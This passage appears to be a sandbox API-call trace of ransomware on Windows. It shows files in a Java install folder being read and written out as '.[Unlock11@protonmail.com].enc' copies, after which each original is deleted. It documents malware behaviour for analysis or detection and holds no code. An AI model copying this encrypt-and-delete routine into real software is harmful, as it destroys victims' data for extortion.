lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.609] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.609] GetLastError () returned 0x0 [0124.609] GetCurrentThreadId () returned 0x9b0 [0124.609] GetLastError () returned 0x0 [0124.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654e8 | out: hHeap=0x2ad0000) returned 1 [0124.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0124.609] GetLastError () returned 0x0 [0124.609] GetLastError () returned 0x0 [0124.610] GetLastError () returned 0x0 [0124.610] GetLastError () returned 0x0 [0124.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654d8 [0124.610] GetLastError () returned 0x0 [0124.610] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.610] GetFileType (hFile=0x3ac) returned 0x1 [0124.610] GetLastError () returned 0x0 [0124.611] GetCurrentThreadId () returned 0x9b0 [0124.611] GetLastError () returned 0x0 [0124.611] GetFileType (hFile=0x3ac) returned 0x1 [0124.611] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.611] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.611] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.611] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.611] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.611] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.611] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.611] GetLastError () returned 0x0 [0124.611] GetCurrentThreadId () returned 0x9b0 [0124.611] GetLastError () returned 0x0 [0124.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0124.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0124.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0124.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0124.612] GetLastError () returned 0x0 [0124.612] GetLastError () returned 0x0 [0124.612] GetCurrentThreadId () returned 0x9b0 [0124.612] GetLastError () returned 0x0 [0124.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.612] GetLastError () returned 0x0 [0124.612] GetLastError () returned 0x0 [0124.613] GetCurrentThreadId () returned 0x9b0 [0124.613] GetLastError () returned 0x0 [0124.613] GetLastError () returned 0x0 [0124.615] GetLastError () returned 0x0 [0124.615] GetCurrentThreadId () returned 0x9b0 [0124.615] GetLastError () returned 0x0 [0124.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.615] GetCurrentThreadId () returned 0x9b0 [0124.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf9d8) returned 0x37bf790 [0124.616] GetLastError () returned 0x0 [0124.616] GetLastError () returned 0x0 [0124.616] GetLastError () returned 0x0 [0124.616] GetLastError () returned 0x0 [0124.616] GetCurrentThreadId () returned 0x9b0 [0124.616] GetLastError () returned 0x0 [0124.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.617] GetLastError () returned 0x0 [0124.618] GetLastError () returned 0x0 [0124.618] GetCurrentThreadId () returned 0x9b0 [0124.618] GetLastError () returned 0x0 [0124.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.619] GetLastError () returned 0x0 [0124.619] GetLastError () returned 0x0 [0124.619] GetCurrentThreadId () returned 0x9b0 [0124.619] GetLastError () returned 0x0 [0124.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.619] GetLastError () returned 0x0 [0124.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.620] CloseHandle (hObject=0x3ac) returned 1 [0124.620] GetLastError () returned 0x0 [0124.620] GetCurrentThreadId () returned 0x9b0 [0124.620] GetLastError () returned 0x0 [0124.620] GetLastError () returned 0x0 [0124.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0124.620] CloseHandle (hObject=0x39c) returned 1 [0124.621] GetLastError () returned 0x0 [0124.621] GetCurrentThreadId () returned 0x9b0 [0124.621] GetLastError () returned 0x0 [0124.621] GetLastError () returned 0x0 [0124.621] GetLastError () returned 0x0 [0124.621] GetLastError () returned 0x0 [0124.621] GetLastError () returned 0x0 [0124.621] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0124.623] GetLastError () returned 0x0 [0124.623] GetCurrentThreadId () returned 0x9b0 [0124.623] GetLastError () returned 0x0 [0124.623] GetCurrentThreadId () returned 0x9b0 [0124.623] GetLastError () returned 0x0 [0124.623] GetLastError () returned 0x0 [0124.623] GetLastError () returned 0x0 [0124.623] GetLastError () returned 0x0 [0124.623] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", lpFilePart=0x9bada4*="THIRDPARTYLICENSEREADME.txt") returned 0x3e [0124.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0124.624] GetCurrentThreadId () returned 0x9b0 [0124.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.624] GetLastError () returned 0x0 [0124.624] GetLastError () returned 0x0 [0124.624] GetLastError () returned 0x0 [0124.624] GetLastError () returned 0x0 [0124.624] GetCurrentThreadId () returned 0x9b0 [0124.624] GetLastError () returned 0x0 [0124.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.625] GetCurrentThreadId () returned 0x9b0 [0124.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf80 [0124.625] GetLastError () returned 0x0 [0124.625] GetLastError () returned 0x0 [0124.625] GetLastError () returned 0x0 [0124.625] GetLastError () returned 0x0 [0124.625] GetCurrentThreadId () returned 0x9b0 [0124.625] GetLastError () returned 0x0 [0124.625] GetLastError () returned 0x0 [0124.625] GetLastError () returned 0x0 [0124.625] GetLastError () returned 0x0 [0124.626] GetLastError () returned 0x0 [0124.626] GetCurrentThreadId () returned 0x9b0 [0124.626] GetLastError () returned 0x0 [0124.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf80 | out: hHeap=0x2ad0000) returned 1 [0124.626] GetLastError () returned 0x0 [0124.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0124.626] GetLastError () returned 0x0 [0124.626] GetLastError () returned 0x0 [0124.626] GetLastError () returned 0x0 [0124.626] GetCurrentThreadId () returned 0x9b0 [0124.626] GetLastError () returned 0x0 [0124.627] GetCurrentThreadId () returned 0x9b0 [0124.627] GetLastError () returned 0x0 [0124.627] GetLastError () returned 0x0 [0124.627] GetLastError () returned 0x0 [0124.627] GetLastError () returned 0x0 [0124.627] GetCurrentThreadId () returned 0x9b0 [0124.627] GetLastError () returned 0x0 [0124.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0124.627] GetLastError () returned 0x0 [0124.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0124.628] GetLastError () returned 0x0 [0124.628] GetLastError () returned 0x0 [0124.628] GetLastError () returned 0x0 [0124.628] GetCurrentThreadId () returned 0x9b0 [0124.628] GetLastError () returned 0x0 [0124.628] GetLastError () returned 0x0 [0124.628] GetLastError () returned 0x0 [0124.628] GetLastError () returned 0x0 [0124.628] GetLastError () returned 0x0 [0124.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0124.628] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c)) returned 1 [0124.629] GetLastError () returned 0x0 [0124.629] GetCurrentThreadId () returned 0x9b0 [0124.629] GetLastError () returned 0x0 [0124.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0124.629] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa34 | out: pbBuffer=0x366aa34) returned 1 [0124.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0124.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0124.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0124.629] GetCurrentThreadId () returned 0x9b0 [0124.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.630] GetLastError () returned 0x0 [0124.630] GetLastError () returned 0x0 [0124.630] GetLastError () returned 0x0 [0124.630] GetLastError () returned 0x0 [0124.630] GetCurrentThreadId () returned 0x9b0 [0124.630] GetLastError () returned 0x0 [0124.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead78 | out: hHeap=0x2ad0000) returned 1 [0124.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafa8 [0124.630] GetCurrentThreadId () returned 0x9b0 [0124.630] GetLastError () returned 0x0 [0124.630] GetLastError () returned 0x0 [0124.631] GetLastError () returned 0x0 [0124.631] GetLastError () returned 0x0 [0124.631] GetCurrentThreadId () returned 0x9b0 [0124.631] GetLastError () returned 0x0 [0124.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eafa8 | out: hHeap=0x2ad0000) returned 1 [0124.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32654b8 [0124.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0124.631] GetLastError () returned 0x0 [0124.631] GetLastError () returned 0x0 [0124.631] GetLastError () returned 0x0 [0124.631] GetLastError () returned 0x0 [0124.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265488 [0124.632] GetLastError () returned 0x0 [0124.632] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.632] GetFileType (hFile=0x39c) returned 0x1 [0124.632] GetLastError () returned 0x0 [0124.633] GetCurrentThreadId () returned 0x9b0 [0124.633] GetLastError () returned 0x0 [0124.633] GetFileType (hFile=0x39c) returned 0x1 [0124.633] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.633] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.633] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.633] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.633] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.633] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.633] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.633] GetLastError () returned 0x0 [0124.633] GetCurrentThreadId () returned 0x9b0 [0124.634] GetLastError () returned 0x0 [0124.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265488 | out: hHeap=0x2ad0000) returned 1 [0124.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0124.634] GetLastError () returned 0x0 [0124.634] GetLastError () returned 0x0 [0124.634] GetLastError () returned 0x0 [0124.634] GetLastError () returned 0x0 [0124.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32655f8 [0124.634] GetLastError () returned 0x0 [0124.634] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.635] GetFileType (hFile=0x3ac) returned 0x1 [0124.635] GetLastError () returned 0x0 [0124.635] GetCurrentThreadId () returned 0x9b0 [0124.635] GetLastError () returned 0x0 [0124.635] GetFileType (hFile=0x3ac) returned 0x1 [0124.635] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.635] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.635] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.636] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.636] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.636] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.636] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.636] GetLastError () returned 0x0 [0124.636] GetCurrentThreadId () returned 0x9b0 [0124.636] GetLastError () returned 0x0 [0124.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655f8 | out: hHeap=0x2ad0000) returned 1 [0124.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0124.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0124.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.637] GetLastError () returned 0x0 [0124.637] GetLastError () returned 0x0 [0124.637] GetCurrentThreadId () returned 0x9b0 [0124.637] GetLastError () returned 0x0 [0124.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.637] GetLastError () returned 0x0 [0124.637] GetLastError () returned 0x0 [0124.637] GetCurrentThreadId () returned 0x9b0 [0124.638] GetLastError () returned 0x0 [0124.638] GetLastError () returned 0x0 [0124.639] GetLastError () returned 0x0 [0124.640] GetCurrentThreadId () returned 0x9b0 [0124.640] GetLastError () returned 0x0 [0124.640] GetCurrentThreadId () returned 0x9b0 [0124.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654d8 [0124.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0124.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.641] GetLastError () returned 0x0 [0124.641] GetLastError () returned 0x0 [0124.641] GetLastError () returned 0x0 [0124.641] GetLastError () returned 0x0 [0124.641] GetCurrentThreadId () returned 0x9b0 [0124.641] GetLastError () returned 0x0 [0124.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.642] GetLastError () returned 0x0 [0124.643] GetLastError () returned 0x0 [0124.643] GetCurrentThreadId () returned 0x9b0 [0124.643] GetLastError () returned 0x0 [0124.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.644] GetLastError () returned 0x0 [0124.644] GetLastError () returned 0x0 [0124.645] GetCurrentThreadId () returned 0x9b0 [0124.645] GetLastError () returned 0x0 [0124.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654f8 [0124.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0124.645] GetCurrentThreadId () returned 0x9b0 [0124.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.645] GetLastError () returned 0x0 [0124.646] GetLastError () returned 0x0 [0124.646] GetLastError () returned 0x0 [0124.646] GetLastError () returned 0x0 [0124.646] GetCurrentThreadId () returned 0x9b0 [0124.646] GetLastError () returned 0x0 [0124.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0124.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.646] GetLastError () returned 0x0 [0124.647] GetLastError () returned 0x0 [0124.647] GetCurrentThreadId () returned 0x9b0 [0124.647] GetLastError () returned 0x0 [0124.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.648] GetLastError () returned 0x0 [0124.648] GetLastError () returned 0x0 [0124.648] GetCurrentThreadId () returned 0x9b0 [0124.648] GetLastError () returned 0x0 [0124.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.649] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3735) returned 0x36f8548 [0124.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265578 [0124.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654f8 | out: hHeap=0x2ad0000) returned 1 [0124.649] GetCurrentThreadId () returned 0x9b0 [0124.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3738) returned 0x35c0a00 [0124.649] GetLastError () returned 0x0 [0124.649] GetLastError () returned 0x0 [0124.649] GetLastError () returned 0x0 [0124.649] GetLastError () returned 0x0 [0124.649] GetCurrentThreadId () returned 0x9b0 [0124.649] GetLastError () returned 0x0 [0124.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0124.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0124.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0124.650] GetLastError () returned 0x0 [0124.650] GetLastError () returned 0x0 [0124.650] GetCurrentThreadId () returned 0x9b0 [0124.651] GetLastError () returned 0x0 [0124.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3715b80 | out: hHeap=0x2ad0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fbc88 [0124.651] GetLastError () returned 0x0 [0124.651] GetLastError () returned 0x0 [0124.651] GetCurrentThreadId () returned 0x9b0 [0124.651] GetLastError () returned 0x0 [0124.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fbc88 | out: hHeap=0x2ad0000) returned 1 [0124.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.651] GetLastError () returned 0x0 [0124.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.652] CloseHandle (hObject=0x3ac) returned 1 [0124.652] GetLastError () returned 0x0 [0124.652] GetCurrentThreadId () returned 0x9b0 [0124.652] GetLastError () returned 0x0 [0124.652] GetLastError () returned 0x0 [0124.652] CloseHandle (hObject=0x39c) returned 1 [0124.652] GetLastError () returned 0x0 [0124.652] GetCurrentThreadId () returned 0x9b0 [0124.653] GetLastError () returned 0x0 [0124.653] GetLastError () returned 0x0 [0124.653] GetLastError () returned 0x0 [0124.653] GetLastError () returned 0x0 [0124.653] GetLastError () returned 0x0 [0124.653] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0124.655] GetLastError () returned 0x0 [0124.655] GetCurrentThreadId () returned 0x9b0 [0124.655] GetLastError () returned 0x0 [0124.655] GetCurrentThreadId () returned 0x9b0 [0124.655] GetLastError () returned 0x0 [0124.655] GetLastError () returned 0x0 [0124.655] GetLastError () returned 0x0 [0124.655] GetLastError () returned 0x0 [0124.655] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", lpFilePart=0x9bada4*="Welcome.html") returned 0x2f [0124.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.656] GetCurrentThreadId () returned 0x9b0 [0124.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafa8 [0124.656] GetLastError () returned 0x0 [0124.656] GetLastError () returned 0x0 [0124.656] GetLastError () returned 0x0 [0124.656] GetLastError () returned 0x0 [0124.657] GetCurrentThreadId () returned 0x9b0 [0124.657] GetLastError () returned 0x0 [0124.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eafa8 | out: hHeap=0x2ad0000) returned 1 [0124.657] GetCurrentThreadId () returned 0x9b0 [0124.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafa8 [0124.657] GetLastError () returned 0x0 [0124.657] GetLastError () returned 0x0 [0124.657] GetLastError () returned 0x0 [0124.657] GetLastError () returned 0x0 [0124.657] GetCurrentThreadId () returned 0x9b0 [0124.657] GetLastError () returned 0x0 [0124.658] GetLastError () returned 0x0 [0124.658] GetLastError () returned 0x0 [0124.658] GetLastError () returned 0x0 [0124.658] GetLastError () returned 0x0 [0124.658] GetCurrentThreadId () returned 0x9b0 [0124.658] GetLastError () returned 0x0 [0124.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eafa8 | out: hHeap=0x2ad0000) returned 1 [0124.658] GetLastError () returned 0x0 [0124.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0124.658] GetLastError () returned 0x0 